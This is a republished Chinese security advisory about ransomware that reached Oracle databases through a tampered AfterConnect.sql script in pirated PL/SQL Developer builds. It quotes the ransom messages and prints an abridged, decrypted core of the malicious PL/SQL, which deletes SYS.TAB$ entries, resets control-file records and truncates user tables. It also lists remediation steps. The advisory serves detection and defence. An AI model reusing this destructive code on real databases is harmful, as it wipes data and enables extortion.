498
技術社區[雲棲]
知己知彼-關於Oracle安全比特幣勒索問題揭秘和防範
風險從來都不是臆想和草木皆兵,就在你不經意的時刻,可能風險就突然降臨到我們的身邊。
近期,國內很多用戶的 Oracle 數據庫,突然遭遇到莫名其妙的攻擊事件,大家種種猜測、揣摩、重試,引發了一次小小的數據恐慌。
在注意到這類安全事件之後,我們第一時間投入分析、采集,最後找出了問題的根源,昨天已經發出了全麵的預警和警示,今天再次詳述該類問題,與 Oracle 的用戶們共為警醒。
最近問題的主要原因是某些用戶下載了來源不明的數據庫管理工具,導致數據庫被感染。我們強烈推薦大家提高版權意識,購買正版軟件,遠離風險,從規範做起。
問題症狀:
很多用戶在錄數據庫時發現該問題,數據庫應用彈出"鎖死"提示,並且威脅說需要向黑客發送5個比特幣方可獲得解鎖。
在客戶端,你可能獲得類似的提示信息:
在數據庫受攻擊之後,在數據庫的告警日誌中,可能充斥如下信息:
ORA-00604: error occurred at recursive SQL level 1
ORA-20315: 你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 之後把你的Oracle SID郵寄地址 sqlrush@mail.com我們將讓你知道如何解鎖你的數據庫
Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at “XXX.DBMS_CORE_INTERNAL ", line 27
ORA-06512: at line 2
這裏無非是一些警示和勒索,但是這兒 SQL RUSH Team,引發了大家的猜測,sqlrush @ mail.com ,這個地址 和 id 引發了對於始作俑者的猜測,當然事實不得而知。
問題原因:
我們通過有限的案例,詳細分析了問題的原因和感染過程,在此披露出來,給 Oracle 的用戶們作為參考。
注意:當一個問題研究清楚之後,就不再會產生恐懼,恐懼來自於未知,在沒有遭到原因之前,大家的各種猜測導致問題擴大化,現在可以回到問題的本質上來了。
問題的根本原因是:如果用戶從互聯網上下載了盜版的 PL/SQL Developer 工具後(尤其是各種綠色版、破解版),就可能因為這個工具中招。所以這個問題和 Oracle 本身關係不大,也沒有注入那麼複雜。而是隨著你使用這個工具,用戶的權限就自然被附體的進行了入侵。
重要的問題要說三遍:盜版軟件害人!
PL/SQL Developer 在中國的流行程度和盜版程度毋庸置疑。這個軟件的安裝目錄存在一個腳本文件 AfterConnect.sql,這個腳本就是真正的問題所在。
正版軟件安裝,這個腳本文件是空文件,但是被注入的文件包含了一係列的JOB定義、存儲過程和觸發器定義,就是禍患的源頭。
受感染文件 - AfterConnect.sql 開頭是這樣的,偽裝成一個 login.sql 的腳本內容,有清晰的注釋代碼:
實質內容,以加密方式展示,用戶看不到內容,但是可以通過 unwrap 進行解密(但是注意那些解密程序不要存在惡意代碼):
無疑,黑客是非常了解 Oracle 數據庫的,其腳本代碼的核心部分,解密後如下(做了刪節,不要害人):
BEGIN
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 LOOP
DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');
DBMS_SYSTEM.KSDWRT(2, '你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 之後把你的Oracle SID郵寄地址sqlrush@mail.com 我們將讓你知道如何解鎖你的數據庫 ');
END LOOP;
END IF;
END;
請注意黑客的專業性,在程序的開端有以下部分判斷:
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
也就是,判斷數據庫創建時間大於1200天,才開始動作(這個判斷相當有見地,小庫和新庫,數據少不重要,先放長線釣大魚),如果你的數據庫還沒有爆發,那可能是因為時間還沒有到。
我們強烈建議用戶檢查數據庫工具的使用情況,避免使用來曆不明的工具產品。
我們強烈建議:采用正版軟件,規避未知風險。
安全漏洞:
我們知道,幾乎絕大多數數據庫的客戶端工具,在訪問數據庫時,都可以通過腳本進行一定的功能定義,而這些腳本往往就是安全問題的漏洞之一。本例的攻擊手段非常初級,但是也非常巧妙。
下載來源不明、漢化來曆不明、破解來曆不明的工具是數據庫管理大忌,以下列出了常見客戶端工具的腳本位置,需要引起注意:
SQL*Plus: glogin.sql / login.sql
TOAD : toad.ini
PLSQLdeveloper: login.sql / afterconnect.sql
我們強烈建議用戶加強數據庫的權限管控、生產環境和測試環境隔離,嚴格管控開發和運維工具。
處置建議:
這個攻擊是通過 JOB、觸發器、存儲過程 來協同工具的,所以如果數據庫遭遇到這個問題,可以將 JOB 參數 job_queue_processes 設置為 0 ,屏蔽掉 JOB 的執行,然後重啟數據庫。可以清除注入對象,這些對象可能包括以下同名觸發器和存儲過程:
PROCEDURE "DBMS_CORE_INTERNAL "
PROCEDURE "DBMS_SYSTEM_INTERNAL "
PROCEDURE "DBMS_SUPPORT_INTERNAL "
而攻擊的核心代碼還包括,這會 Truncate 數據表:
STAT:='truncate table '||USER||'.'||I.TABLE_NAME;
如果您的數據庫已經遭受攻擊和數據損失,可以緊急聯係雲和恩墨的服務團隊,我們可以幫助您處理數據修複事宜。雲和恩墨久經考驗的ODU產品,可以在數據丟失後最大限度的恢複數據。雲和恩墨的自動化巡檢工具:Bethune(白求恩),內置一項檢查,訪問來源、訪問工具分析,可以幫助用戶梳理清楚你的數據庫使用情況。別猶豫,去 https://bethune.enmotech.com 看看,不收錢。
事件回顧:
-
2015年9月,XcodeGhost入侵蘋果iOS事件在業內引起不小震動。事件起因為不知名黑客向iOS應用開發工具Xcode植入惡意程序,通過網盤和論壇上傳播,被感染的App並以此劫持蘋果用戶相關信息。來自多個安全團隊數據顯示,病毒感染波及AppStore下載量最高的5000個App其中的76個,保守估計受影響用戶數超過一億。
-
2012年2月,中文版putty等SSH遠程管理工具被曝出存在後門,該後門會自動竊取管理員所輸入的SSH用戶名與口令,並將其發送至指定服務器上。
安全防範,請從今日開始。
文章轉自數據和雲公眾號,原文鏈接
最後更新:2017-07-17 17:33:15